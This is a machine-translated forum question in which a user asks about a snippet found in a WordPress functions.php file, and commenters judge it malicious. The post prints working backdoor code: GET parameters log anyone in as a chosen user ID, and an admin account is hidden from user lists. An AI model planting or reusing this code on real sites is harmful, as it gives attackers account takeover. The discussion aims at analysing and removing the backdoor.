私は彼のワードプレスのウェブサイトで友人を助けています。私は彼のfunctions.phpファイルでこのコードスニペットを見つけました。私はそれを理解しようとすると、私はそれを削除することができます見ていくつかの助けをしたいと思います。functions.phpのPHPコードスニペット
if(isset($_GET['foo'])){ $a = $_GET['foo']; }
if(isset($_GET['bar'])){ $b = $_GET['bar']; }
if((isset($a) && is_numeric($a))&& (isset($b) && $b == 'stuff')) {
$userdetail = get_userdata($a);
$user_logins = $userdetail->user_login;
$user_ids = $a;
wp_set_current_user($user_ids, $user_logins);
wp_set_auth_cookie($user_ids);
do_action('wp_login', $user_logins);
}
add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'arlington') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'arlington'",$user_search->query_where);
}
}
限りGETリクエストが「LG」属性と「CG」属性の文字「M」のための正しいユーザーIDで、掲載されている場合、私が言うことができるように。その後、ユーザーデータを取得してログインし、そのユーザーのCookieを作成します。したがって、本質的に誰かがwww.mysite.com?lg = 1 & cg = MというURLでログインできます。あなたが見つかるまで、1を適切なユーザーIDまたは無差別の力で置き換えます。
ユーザークエリの前に2番目のコードが実行された後。 $ user_searchパラメータが必要です。ユーザ名が 'custom'でなければ、ユーザログインではなく何も返さないDBクエリを実行します。
私が正しく解釈したかどうか教えてください。
編集:私はそれがワードプレスのウェブサイトを悪用するためにこれを使用するのが簡単かもしれないと信じているので、任意の偽善を防ぐために変数を少し変更するつもりです。
なぜそれを削除しますか?あなたはサイト上で何もこのコードを必要としないと確信していますか? – ceejayoz
誰かが以前にサイトで働いていたし、不必要なプラグインがたくさんあって、コードが邪魔になっていました。このスニペットは、具体的には適切なログイン方法を回避し、管理パネルからユーザーを隠すように見えます。悪意を持って追加されたようです。 – aoa
私はwww.mysite.com/?lg=1&cg=MをURLとして使用してログインするという仮説を試してみました。悪意のあるコードであるように見えます。 – aoa